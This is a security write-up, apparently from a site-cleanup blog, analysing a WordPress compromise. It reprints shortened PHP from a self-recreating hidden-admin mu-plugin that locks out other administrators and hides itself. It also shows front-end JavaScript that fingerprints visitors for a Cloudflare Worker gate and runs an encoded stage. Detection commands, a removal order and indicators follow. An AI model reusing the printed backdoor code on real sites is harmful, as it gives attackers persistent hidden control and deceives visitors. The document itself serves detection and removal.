Skip to content
Back to Articles

The Admin Other Admins Could Not Delete: A Self-Healing WordPress Account and a Gated Fake Security Check

Share:

The owner of a WordPress site found a plugin they did not recognize, deleted it, and asked for a deeper review. That plugin was only the visible part. The review found an administrator account that the other administrators could not see, could not edit and could not delete. If they changed its password, it went back to the attacker's password on the next page load. If they deleted the account in the database, it was created again a moment later.

The same site also carried a front-end script that showed a full-screen "Security check" to some visitors. A remote gate picked which visitors saw it. Logged-in users never went through the gate: they always got the check. A spare copy of that script sat in a second fake plugin that was never activated. It had been parked there for later.

This article walks through both pieces, shows the read-only commands that find them, and gives a removal order that stops the account from coming back. Everything is sanitized: no client names, domains or IPs.

🧩 The short version

  • Persistence: one file in wp-content/mu-plugins/. Must-use plugins load on every request and have no "deactivate" button.
  • The account: an administrator called admindefault with display name "Service Automation". The plugin creates it if it is missing and writes a hardcoded password hash into the database.
  • Protection: no other user can edit, delete, remove or change the role of that account, including other administrators.
  • Hiding: the account is removed from the Users screen, the REST API, author dropdowns and author archives. The user counts are reduced by one, and so are the counts added by a popular two-factor login plugin. The mu-plugin also removes itself from the Must-Use plugin list.
  • Front end: a script in a fake block plugin sends a browser fingerprint to a Cloudflare Worker. If the Worker answers {"allow": true}, the visitor gets a full-screen iframe titled "Security check". Logged-in users skip the gate and always get it.
  • Reinfection path: the site's own backup archives contained the malicious files, and the backup folder could be downloaded from the web.

👤 The admin that rebuilds itself

The mu-plugin had a bland, plausible name: service-admin-bootstrap.php. It opened with a set of feature switches, which reads like a product, not a hack:

const SAB_USER_LOGIN = 'admindefault';

const SAB_HASH_NATIVE   = '$wp$2y$12$...';   // bcrypt, WordPress 6.8+ format
const SAB_HASH_PORTABLE = '$P$...';          // old phpass format

const SAB_ENFORCE_PASSWORD    = true;
const SAB_PROTECT_FROM_OTHERS = true;
const SAB_HIDE_IN_ADMIN       = true;
const SAB_HIDE_IN_REST        = true;
const SAB_HIDE_IN_DROPDOWNS   = true;
const SAB_BLOCK_ENUMERATION   = true;
const SAB_FIX_LIST_COUNTS     = true;
const SAB_HIDE_IN_PLUGIN_LIST = true;

const SAB_ROLE = 'administrator';

Two hashes of the same password are stored: one in the bcrypt format that newer WordPress versions use, one in the older portable format. The plugin picks the one that fits the server, so the attacker's password works whatever the WordPress or PHP version.

The core function runs on init at priority 1, before almost everything else:

function sab_bootstrap() {
	$user = get_user_by( 'login', SAB_USER_LOGIN );

	if ( ! $user ) {
		$user_id = wp_insert_user( array(
			'user_login'   => SAB_USER_LOGIN,
			'user_pass'    => wp_generate_password( 32, true, true ),
			'user_email'   => sab_email(),          // automation@<the site's own host>
			'role'         => SAB_ROLE,
			'first_name'   => 'Service',
			'display_name' => 'Service Automation',
		) );
		global $wpdb;
		$wpdb->update( $wpdb->users,
			array( 'user_pass' => sab_target_hash() ),
			array( 'ID' => $user_id ) );
		error_log( '[service-admin-bootstrap] service admin created: ' . SAB_USER_LOGIN );
		return;
	}

	if ( ! in_array( SAB_ROLE, (array) $user->roles, true ) ) {
		$user->add_role( SAB_ROLE );
	}

	// password changed by someone else? put ours back
	$db_hash = $wpdb->get_var( $wpdb->prepare(
		"SELECT user_pass FROM {$wpdb->users} WHERE ID = %d", $user->ID ) );
	if ( ! sab_hash_known( (string) $db_hash ) ) {
		$wpdb->update( $wpdb->users,
			array( 'user_pass' => sab_target_hash() ),
			array( 'ID' => $user->ID ) );
		error_log( '[service-admin-bootstrap] password drift detected, hash restored: ' . SAB_USER_LOGIN );
	}
}
add_action( 'init', 'sab_bootstrap', 1 );

(Shortened. Static guards and cache calls are left out.)

Look at what that means for the owner:

  • Delete the account with SQL, and the next visitor to any page recreates it.
  • Remove the administrator role, and it is added back.
  • Reset the password, and the old hash is written back on the next request. The plugin even calls this "password drift".
  • The email address uses the site's own domain, so in a database dump it looks like a system account.

The account is created with a random password first, and only then is the hash replaced with a direct database write. That skips the normal password-change hooks, so a plugin that logs or emails password changes has nothing to report.

🔒 Locking out the real administrators

WordPress decides whether you may edit or delete a user through meta capabilities. The map_meta_cap filter turns a request like "can user 1 delete user 7?" into the real capabilities to check. The mu-plugin answers that question its own way:

add_filter( 'map_meta_cap', function ( $caps, $cap, $user_id, $args ) {
	$target_id = isset( $args[0] ) ? (int) $args[0] : 0;
	if ( $target_id
		&& $target_id === sab_user_id()
		&& (int) $user_id !== sab_user_id()
		&& in_array( $cap, array( 'edit_user', 'delete_user', 'remove_user', 'promote_user' ), true ) ) {
		return array( 'do_not_allow' );
	}
	return $caps;
}, 10, 4 );

do_not_allow is a capability nobody has, not even a super admin. So every other administrator on the site gets "Sorry, you are not allowed to edit this user" for this one account. Only the account itself can change itself.

🙈 Hiding in every place you would look

An account nobody can delete is still a problem for the attacker if somebody sees it. So the plugin removes it from every normal view:

  • Users screen: a pre_get_users hook adds the account's ID to exclude in every admin user query, unless the viewer is the account itself.
  • REST API: rest_user_query excludes it from /wp-json/wp/v2/users, and rest_prepare_user turns a direct request for its ID into a 404 "Resource not found.".
  • Dropdowns: wp_dropdown_users_args hides it from "Author" and "Attribute content to" selects.
  • Author archive: /?author_name=admindefault returns the theme's 404 page.
  • Plugin list: a plugins_list filter unsets its own file from the Must-Use tab.

The most careful part is the counters. Hiding a row from the list is easy, but the "All (5) | Administrator (2)" line above the table would still show one user too many. So the plugin hooks pre_count_users, removes its own hook, calls count_users() for the true numbers, puts the hook back and subtracts one:

remove_filter( 'pre_count_users', 'sab_fix_count_users_callback', 10 );
$counts = count_users( $strategy, $site_id );
add_filter( 'pre_count_users', 'sab_fix_count_users_callback', 10, 3 );

$counts['total_users'] = (int) $counts['total_users'] - 1;
// ...and the same for each of the account's roles

It goes one step further. A popular two-factor login plugin adds its own filter links above the Users table, such as "2FA Active (3)" and "2FA Inactive (2)". The mu-plugin checks which of those groups the hidden account is in, finds the <span class="count"> in that link with a regex, and lowers that number by one too. Every number on the Users screen matches the rows you can see.

We covered a different hidden-admin technique before, one that rebuilt users from data stored in the database: the phantom admin backdoor. This one is simpler in storage but goes further on the admin side. It defends the account against the people who own the site.

🎭 The "Security check" with a gate in front

The plugin the owner deleted had been loading a JavaScript file on the front end. A second copy of the same file, attributestyle.js, was still on disk in another fake plugin. It starts like this (cleaned up for reading, Worker host replaced):

if (window.masqradDone) return; window.masqradDone = true;

if (document.body.classList.contains('wp-admin') ||
    document.querySelector('#wpadminbar') ||
    document.cookie.indexOf('wordpress_logged_in') !== -1) {
  createForm();          // logged-in users: no gate at all
  return;
}

const browserData = {
  platform: navigator.platform, language: navigator.language,
  screen: `${screen.width}x${screen.height}`,
  timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
  ua: navigator.userAgent, type: "js_check"
};
fetch('https://RANDOM-NAME.ACCOUNT.workers[.]dev/?format=json',
      { method: 'POST', body: JSON.stringify(browserData) })
  .then(r => r.json())
  .then(d => { if (d.allow === true) createForm(); });

Anonymous visitors send their platform, language, screen size, time zone and user agent to a Cloudflare Worker. The Worker decides. A crawler, a sandbox, a headless browser or a visitor from the wrong country gets nothing, and the page looks normal. Logged-in users skip that check entirely, probably because a site administrator is the most valuable person to show a fake verification to.

createForm() holds the second stage as Base64 text, XOR-encoded with the single key 41, and runs it with new Function(...)(). To read it safely, decode it as text in a working folder outside the website. Never run it in a browser:

python3 - stage2.b64 <<'EOF'
import base64, sys
data = base64.b64decode(open(sys.argv[1]).read().strip())
print(bytes(b ^ 41 for b in data).decode('utf-8', 'replace'))
EOF

The decoded stage builds the overlay:

  • A localStorage flag (__fpDone_<id>) makes sure each browser sees it only once. Before drawing anything, it asks the remote host whether this browser already "passed".
  • A dark overlay plus a full-screen white iframe titled Security check, both at a z-index above two billion, so nothing on the page can cover them.
  • The iframe loads /embed/<id>?embed=1&host=<the site's hostname> from the first host in a list. If it has not loaded after 12 seconds, it moves on to the next one, a bare IP over plain HTTP.
  • Every 2.5 seconds, for up to 15 minutes, it asks the server /embed/<id>/passed. The overlay goes away only when the server says the visitor passed, or when the iframe sends a fp-embed-passed or fp-embed-close message.

We did not load the iframe content itself. But the shape, a full-screen "verification" whose success is confirmed from the server side rather than by a click, is the same shape as the fake-verification flows that ask visitors to paste a command on their own computer. We described one of those in the fake Cloudflare captcha article.

The same file also contained a small tracker. Once a day, with a random offset of up to three hours and a delay of up to a minute after page load, it requested a 1×1 image from ssn-api[.]com/endpoint/ with a tracker ID, an API key and the current URL. That gives the operator a live list of the sites where the script is still running.

🧳 A spare payload in a plugin that was never active

The second fake plugin used a block-editor style name. It looked real at a glance: CSS build files, a few JavaScript files with generic names, a PNG and a 65-byte index.php. Three things gave it away:

  • No PHP file in the folder had a Plugin Name: header, so WordPress could never list it or activate it.
  • It was not in active_plugins. It did nothing on its own.
  • Every file had the same change time, to the second: the moment the folder was uploaded through the normal plugin uploader, five weeks before the mu-plugin appeared.

Its purpose was storage. If the owner removed the active loader, the payload was already on the server and only needed one line somewhere to be loaded again. A third folder followed the same idea: it copied the assets of a well-known forms plugin under a licence-API name, and its loader file had already been emptied.

💾 The backups that would bring it all back

The site had a backup plugin that stored its archives inside wp-content. Listing the archives showed the mu-plugin and the fake plugins inside the plugin and mu-plugin sets from two different dates. Restoring "the last good backup" would have restored the backdoor.

The backup folder had a .htaccess with deny from all, but the web server in front was not Apache, so the file had no effect. Archive requests came back 206 Partial Content, which means downloadable. Anyone who guessed or listed a file name could download the site's code and database.

🔎 Read-only checks

None of these change anything. Run them as the site's own system user, not as root. Replace wp_ with your table prefix and the paths with your own.

1. List every administrator straight from the database. Do not trust the Users screen or a WordPress-based tool here: both run the mu-plugin's filters. Compare this output with what the Users screen shows:

SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID AND m.meta_key = 'wp_capabilities'
WHERE m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered;

2. List mu-plugins on disk. The admin screen can hide them; the file system cannot:

ls -la wp-content/mu-plugins/

3. Look for the hiding hooks together. Many legitimate plugins use one of these hooks. A file that uses four or five of them is worth reading line by line:

for f in $(grep -rlE "map_meta_cap|pre_get_users|pre_count_users|rest_prepare_user|plugins_list|wp_dropdown_users_args" wp-content/mu-plugins wp-content/plugins --include=*.php); do
n=$(grep -oE "map_meta_cap|pre_get_users|pre_count_users|rest_prepare_user|plugins_list|wp_dropdown_users_args" "$f" | sort -u | wc -l)
[ "$n" -ge 4 ] && echo "$n $f"
done | sort -rn

4. Find plugin folders that WordPress cannot load. A folder in plugins/ with no header is a place to store files, not a plugin:

for d in wp-content/plugins/*/; do
grep -lq "Plugin Name:" "$d"*.php 2>/dev/null || echo "NO HEADER: $d"
done

5. Check the change times inside a suspicious folder. One timestamp for every file, close to other unexplained events, is a lead:

find wp-content/plugins/SUSPICIOUS-FOLDER -type f -printf '%C+ %s %p\n' | sort

6. Grep JavaScript for the front-end stage.

grep -rlE "workers\.dev|new Function\(|js_tracker|fp-embed|wordpress_logged_in" wp-content --include=*.js

7. Look inside backup archives before you trust them.

for z in wp-content/updraft/*.zip; do
echo "== $z"
unzip -l "$z" | grep -E "mu-plugins/|bootstrap|attributestyle"
done

8. Check whether the backup folder is reachable from outside. A 200 or 206 means anyone can download it:

curl -s -o /dev/null -w '%{http_code}\n' -r 0-99 https://example.com/wp-content/updraft/ARCHIVE-NAME.zip

9. Search the PHP error log. This backdoor logs its own work. Each "password drift" line is a moment when someone tried to take the account back:

grep -h "service-admin-bootstrap" ~/logs/*error* wp-content/debug.log 2>/dev/null | tail -50

🧹 Removal order matters

If you delete the account first, the next request creates it again. Remove the code first, then the data:

  1. [WRITE] Full database backup and a copy of every suspicious file, stored outside the document root. Check that neither is empty.
  2. [WRITE] Delete the mu-plugin. From this moment the account is no longer protected or recreated.
  3. Load one admin page and check the Users screen. The hidden account and the true counts should now be visible.
  4. [WRITE] Delete the hidden administrator from the Users screen and give its content to a real user. Then confirm with query 1 that it is gone and stays gone after a few page loads.
  5. [WRITE] Delete the fake plugin folders: the active loader, the header-less store, and any copied third-party folder with an emptied loader.
  6. [WRITE] Deal with the backups. Move archives that contain the malware out of the web root, and block the backup folder at the web server that actually serves the site.
  7. Change every credential and the WordPress salts, for every administrator, because the attacker had a working admin login.
  8. Purge every cache (page cache, reverse proxy, CDN) and check a few pages from the origin with a logged-out browser and a logged-in one.
  9. Recheck after a few days: query 1, the mu-plugins folder, and the error log.

🚩 Indicators

  • File wp-content/mu-plugins/service-admin-bootstrap.php, constants prefixed SAB_, functions prefixed sab_
  • Administrator admindefault, display name "Service Automation", email automation@<the site's own host>
  • Error log lines starting with [service-admin-bootstrap]: "service admin created", "password drift detected, hash restored"
  • A map_meta_cap filter that returns do_not_allow for edit_user, delete_user, remove_user and promote_user on one user ID
  • JavaScript with window.masqradDone, a POST of type: "js_check" to a *.workers[.]dev host, and a {"allow": true} check
  • Base64 text XOR-encoded with key 41 and run through new Function
  • An iframe titled Security check, localStorage key __fpDone_<id>, messages fp-embed-passed / fp-embed-close, polling of /embed/<id>/passed
  • Image requests to ssn-api[.]com/endpoint/?js_tracker=1&key=...&tracker_id=..., localStorage key js_tracker_last_ping
  • Plugin folders with no Plugin Name: header and identical change times on every file

💡 Takeaways

  • The Users screen is the attacker's view if a mu-plugin is filtering it. Count administrators in the database.
  • When an account comes back or a password "won't stick", look for code first. Deleting the account again achieves nothing.
  • Read the mu-plugins folder on disk, not in the admin panel.
  • A plugin folder WordPress cannot load can still hold the next payload.
  • Logged-in users can be the target, not the exception. Test a fix from a logged-in browser too.
  • Open your backups before you rely on them, and make sure strangers cannot download them.

❓ FAQ

Why couldn't the other administrators delete the account?

The mu-plugin filtered map_meta_cap so that edit, delete, remove and promote requests aimed at that one user returned do_not_allow, a capability no user has. WordPress then refused the action for every administrator except the hidden account itself.

I deleted the user in phpMyAdmin. Why did it come back?

Because the mu-plugin checked for the account on every request and created it again when it was missing, with the attacker's password hash. Delete the mu-plugin first. After that, deleting the account is permanent.

Why did the user count look right?

The plugin hooked pre_count_users, got the true counts, and subtracted one from the total and from the administrator role. It also lowered the counters a two-factor plugin shows above the Users table. Every number matched the visible rows.

Why did some visitors see the "Security check" and others not?

Logged-out visitors were filtered by a remote gate. Their browser details went to a Cloudflare Worker, and only browsers it approved got the overlay. Logged-in users skipped the gate. Each browser saw it once, then a localStorage flag stopped it.

Can I restore a backup instead of cleaning?

Only after you list what is inside it. Here, the backups from two different dates already contained the mu-plugin and the fake plugins. Restoring one would have put the hidden administrator back.